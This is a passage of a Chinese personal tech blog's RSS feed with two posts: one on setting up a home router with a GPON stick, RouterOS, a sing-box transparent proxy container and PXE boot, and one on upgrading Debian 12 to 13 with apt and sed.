            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/2025-xctf-final.png" />
        </item>
        <item>
            <title><![CDATA[在物理机上配置RouterOS]]></title>
            <link>https://nvme0n1p.dev/posts/router-os</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/router-os</guid>
            <pubDate>Wed, 17 Sep 2025 05:07:32 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>折腾了两天，终于搞好了…</p><p>最开始想的是PVE来做外层，里面放个RouterOS，还有空间还能放其他的。这样确实是跑通了：pve创建了一个虚拟网卡连进了内网，也可以内网访问了。然后就想到了一个问题：万一某一天RouterOS没有启动起来，那我不是也没办法恢复了？</p><p>于是决定最外层就放RouterOS本体，里面再折腾点什么docker之类的来扩展服务。（但是为什么不在NAS上搞呢）</p><h3 id="0x01-pei-zhi-mao-bang">0x01 配置猫棒</h3><p>猫棒是用来替代光猫的（？真能替代吗）大概是光模块 + 一个完整的单片机用来模拟光猫的硬件（LOID，vlan等）不同于光模块需要插到支持sfp的软路由/电脑里进行配置，猫棒可以做带接近即插即用。（当然主要是带sfp电口的软路由太贵了，又不太好改pcie加装电口，才会出现这样的东西。</p><blockquote>💡 </blockquote><blockquote>需要注意的是，当前比较便宜的猫棒/光模块是支持GPON而不是EPON的。</blockquote><blockquote>EPON：最大速率1G，GPON：最大速率2.5G，XGPON：最大速率10G。（XGPON是向下兼容GPON的，所以也可以用哦——）</blockquote><blockquote>当然如果家里开了万兆/两千兆宽带的富哥我们一般是不建议买猫棒这种垃圾货色的。（UniFi更适合您😭）</blockquote><p>这玩意咸鱼太多了，随便找一个买就行，一般卖家还是不错的，不会发坏掉的给我们。（<s>某位老师说咸鱼上买到的这种可能来自河南的移动基站</s>，但是我收到的为啥是广东发货的）</p><p>但是由于是sfp口，电脑还是不支持的，所以我们需要找一个光转电的模块，把sfp转成rj45的。搜了下学名叫收发器，2.5G的大概70块。</p><p>另外，一般住户的入户光纤和sfp接口也不兼容，需要准备一个转接头。同样，在买猫棒的时候，店家可能会问你。</p><blockquote>这一步是分运营商的，其他运营商我没开过T T，所以就以吉林电信来讲吧</blockquote><p>要模拟光猫的系统工作，你需要这些内容：LOID，vlan，设备标识号。这些内容存在在光猫的后台中（需要超管？不一定）</p><blockquote>💡 </blockquote><blockquote>但是在社会工程学的强大力量加持下，我找宽带师傅要来了超管账号密码。（其实比较简单的做法是直接重置光猫：重置光猫不会丢掉它的pppoe登录信息，只会丢掉其他的配置）</blockquote><figure><img src="https://cdn.nvme0n1p.dev/2026/07/c4e2d1b06d4815f77b5209d32f96897a.webp" width="356" height="282" /></figure><p>可以看到41结尾的是Vlan ID，LOID我也是直接找师傅要到的。设备标识号在设备的反面，反过来就能看到。</p><p>另外你还需要获得pppoe的账号密码！这个密码不是app那里改的密码，还是需要登录后台去看。</p><p>信息准备好了就可以把光猫背面的光纤拔掉，通过转接口插到猫棒上，然后插到收发器上，把收发器的电源插上，再把收发器的rj45插到电脑上。（什么人体蜈蚣）</p><p>手动设置下ip，设置在192.168.1.0/24里的随便一个（别是10就行），子网掩码255.255.255.0。</p><p>然后就能访问到1.10上的openwrt了。打开GPON栏里的互操作兼容设置，输入LOID，GPON SN，</p><p>打开vlan设置，pvid填写上网vlan，我这台没开iptv，就不用填其他的了。</p><p>然后保存，之后重启。可以看到首页上有注册状态和接收光强度等级。接收光强度在-10 ～ -18 dbm算是正常的，注册状态是5说明这里配置是没问题的。</p><p>然后就是非常传统的PPPoE拨号配置了：输入账号密码，登录。如果有网就连接成功了。</p><blockquote>💡 </blockquote><blockquote>噔噔咚</blockquote><blockquote>当你做到这一步的时候你会发现，用纯硬路由器（arm/mips/riscv）来拨号，是会有性能损失的。（存疑，不确定是运营商的问题还是我硬件的问题）跑测速只有几mb这样子。（确实是性能问题———</blockquote><h3 id="0x02-an-zhuang-routeros">0x02 安装 RouterOS</h3><p>这是卡了我最久的一步….</p><p>RouterOS提供：netinstall，相当于pve启动，配置比较玄学；install-image（只能往所在盘安装）。这导致我的一般方法都用不了（）跟着网上的说法做，被迫下了一个pe系统——这里用的是edgeless，看上去美观一些.jpg。当然其实把东西全下下来用dd也行。</p><p>下载：<a href="https://mikrotik.ltd/">https://mikrotik.ltd/</a> 到这里去下载install-image。</p><p>通过dd或者其他的什么方式把它直接写入目标盘。重新启动到系统，就能看到安装界面了。选盘，安装，记得一定要安装option包</p><p>于是打开就有一个略微正常的系统了，因为是非常爽的4口软路由，所以我们有四个网卡设备（这不废话吗）</p><h3 id="0x03-pei-zhi-ji-chu">0x03 配置基础</h3><p>这里用的<a href="https://gitee.com/callmer/routeros_toss_notes/">gitee.com</a>这个教程，照着配就行了。</p><h3 id="0x04-pei-zhi-ap-jie-ru">0x04 配置AP接入</h3><p>既然已经用了ROS做主路由了那么，在里面套LAN似乎没什么必要。所以我们让wifi变成AP只做接入：分配网段等操作交给主路由。</p><p>简单的在openwrt之类的里面把DHCP关掉就好，然后把wan和lan口放到同一个bridge里，保存重启就能在ROS后台看到接入的设备了</p><h3 id="0x05-tou-ming-dai-li">0x05 透明代理</h3><p>其实前面几个都不是这一套系统的主要作用，最后这一个才是啊😭</p><p>实现之后大概是这样：</p><p>国内请求→sing-box (dns) → 国内real-ip → 正常访问（直接走<code>pppoe</code>出站）</p><p>国外请求→sing-box (dns) → 国外fake-ip → 路由到sing-box(tun) → 加密混淆…. → <code>pppoe</code> 出站。</p><p>要做到这样的请求，我们需要用container容器，所以这里我们先把容器功能打开</p><pre><code class="language-bash" data-language="bash">/system/device-mode/update container=yes</code></pre><p>然后直接<strong>断电</strong>再插上，不是reboot！</p><p>然后如果没有container的就安装container，有的就不管。</p><p>接下来添加一个veth网卡，有些教程是放到docker的一个bridge里，我这里就直接放主bridge了</p><pre><code class="language-bash" data-language="bash">/interface/veth add address=192.168.2.2/24 gateway=192.168.2.1 name=veth1
/interface/bridge/port add bridge=bridge1 interface=veth1</code></pre><p>创建挂载点</p><pre><code class="language-bash" data-language="bash">/container/mounts/ add name=&#34;singbox&#34; src=/containers/appdata/singbox dst=&#34;/root/sing-box&#34;</code></pre><p>用你想用的方式（sftp或者直接file上传）你的配置（见下文）</p><p>然后创建容器</p><pre><code class="language-bash" data-language="bash">/container/ add remote-image=sagernet/sing-box:latest cmd=&#34;run -D /root/sing-box -C /root/sing-box&#34; comment=singbox interface=veth_singbox mounts=singbox_persist root-dir=/containers/singbox  start-on-boot=yes</code></pre><p>启动完成其实就好了。</p><p>如果你按照前面那篇的配置来做的话，需要把<code>defconf: drop invalid connection</code>的防火墙里排除掉
<code>198.18.0.0/15</code> 这个网段，然后添加fake-ip静态路由</p><pre><code class="language-bash" data-language="bash">
/ip/route add comment=fakeip disabled=no distance=1 dst-address=198.18.0.0/15 gateway=192.168.2.2 pref-src=0.0.0.0 routing-table=main suppress-hw-offload=yes</code></pre><p>配置文件修改的地方如下：</p><p>inbound中这样写：</p><pre><code class="language-bash" data-language="bash">{
      &#34;type&#34;: &#34;tun&#34;,
      &#34;sniff&#34;: true,
      &#34;auto_route&#34;: true,
      &#34;auto_redirect&#34;: false,
      &#34;strict_route&#34;: false,
      &#34;address&#34;: [&#34;172.18.0.1/30&#34;],
      &#34;route_address&#34;: [&#34;0.0.0.0/1&#34;, &#34;128.0.0.0/1&#34;],
      &#34;route_exclude_address_set&#34;: [&#34;geoip-cn&#34;],
      &#34;route_exclude_address&#34;: [&#34;172.18.0.1/16&#34;, &#34;192.168.0.0/16&#34;],
      &#34;mtu&#34;: 9000
    },
    {
      &#34;type&#34;: &#34;direct&#34;,
      &#34;tag&#34;: &#34;dns-in&#34;,
      &#34;network&#34;: &#34;udp&#34;,
      &#34;listen&#34;: &#34;0.0.0.0&#34;,
      &#34;listen_port&#34;: 53
    }</code></pre><p>DNS里：</p><pre><code class="language-bash" data-language="bash">{
    &#34;servers&#34;: [
      {
        &#34;tag&#34;: &#34;cloudflare&#34;,
        &#34;address&#34;: &#34;tls://1.0.0.1&#34;,
        &#34;detour&#34;: &#34;direct&#34;
      },
      {
        &#34;tag&#34;: &#34;local&#34;,
        &#34;address&#34;: &#34;119.29.29.29&#34;,
        &#34;detour&#34;: &#34;direct&#34;
      },
      {
        &#34;tag&#34;: &#34;gladns&#34;,
        &#34;detour&#34;: &#34;proxy&#34;, # 这里填你的proxy
        &#34;address&#34;: &#34;https://1.0.0.1/dns-query&#34;
      },
      {
        &#34;tag&#34;: &#34;block&#34;,
        &#34;address&#34;: &#34;rcode://success&#34;
      },
      {
        &#34;type&#34;: &#34;fakeip&#34;,
        &#34;tag&#34;: &#34;fakeip&#34;,
        &#34;inet4_range&#34;: &#34;198.18.0.0/15&#34;,
        &#34;inet6_range&#34;: &#34;fc00::/18&#34;
      }
    ],
    &#34;final&#34;: &#34;gladns&#34;,
    &#34;rules&#34;: [
      {
        &#34;outbound&#34;: &#34;any&#34;,
        &#34;rewrite_ttl&#34;: 300,
        &#34;server&#34;: &#34;local&#34;
      },
      {
        &#34;rule_set&#34;: &#34;geoip-cn&#34;,
        &#34;server&#34;: &#34;local&#34;
      },
      {
        &#34;rule_set&#34;: &#34;geoip-cn&#34;,
        &#34;invert&#34;: true,
        &#34;rewrite_ttl&#34;: 900,
        &#34;server&#34;: &#34;fakeip&#34;
      }
    ],
    &#34;strategy&#34;: &#34;ipv4_only&#34;
  }</code></pre><h3 id="0x06-pxe">0x06 PXE</h3><p>然后又多了一个nas，但是没带U盘。那顺便搞一下这个吧：netboot.xyz是比较好用的一个网络安装工具。</p><p>下载好了传到根目录</p><ol><li>在ip dhcp server里添加boot file = netboot.xyz.efi，next server = 192.168.2.1</li><li>在ip tftp里添加 一个filename = netboot.xyz.efi, local-file= netboot.xyz.efi的文件。</li></ol><p>启动你的设备，在BIOS里设置（Network Stack Configuration或者类似的设置里开启ipv4 pxe），这个时候就能自动启动到netboot了。</p>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/router-os.png" />
        </item>
        <item>
            <title><![CDATA[Debian 12 bookworm升级13 trixie]]></title>
            <link>https://nvme0n1p.dev/posts/debian-version-upgrade-13</link>
            <guid isPermaLink="false">https://nvme0n1p.dev/posts/debian-version-upgrade-13</guid>
            <pubDate>Wed, 10 Sep 2025 00:46:18 GMT</pubDate>
            <description><![CDATA[]]></description>
            <content:encoded><![CDATA[<p>emm第一次见到这么简单的跨版本升级</p><p>先把所有软件包升级到当前最新版</p><pre><code class="language-bash" data-language="bash">apt update
apt upgrade -y
apt full-upgrade -y
apt autoclean
apt autoremove -y</code></pre><p>然后把apt源里的bookworm换成trixie</p><pre><code class="language-bash" data-language="bash">sed -i &#39;s/bookworm/trixie/g&#39; /etc/apt/sources.list
sed -i &#39;s/bookworm/trixie/g&#39; /etc/apt/sources.list.d/*.list
sed -i &#39;s/bookworm/trixie/g&#39; /etc/apt/sources.list.d/*.sources</code></pre><p>再升级一次</p><pre><code class="language-bash" data-language="bash">apt update
apt upgrade -y
apt full-upgrade -y</code></pre><p>自动删除不需要的</p><pre><code class="language-bash" data-language="bash">apt autoclean
apt autoremove -y</code></pre><p>最后<code>reboot</code>重启就好</p><pre><code class="language-bash" data-language="bash">root@debian ~ $ cat /etc/debian_version 
13.0
root@debian ~ $ lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 13 (trixie)
Release:	13
Codename:	trixie
root@debian ~ $ uname -a
Linux upload 6.12.38+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.38-1 (2025-07-16) x86_64 GNU/Linux</code></pre>]]></content:encoded>
            <author>me@nvme0n1p.dev (LiBr)</author>
            <category domain="https://nvme0n1p.dev/tags/ji-shu">技术</category>
            <enclosure length="0" type="image/png" url="https://nvme0n1p.dev/images/og/debian-version-upgrade-13.png" />
        </item>
    </channel>
</rss>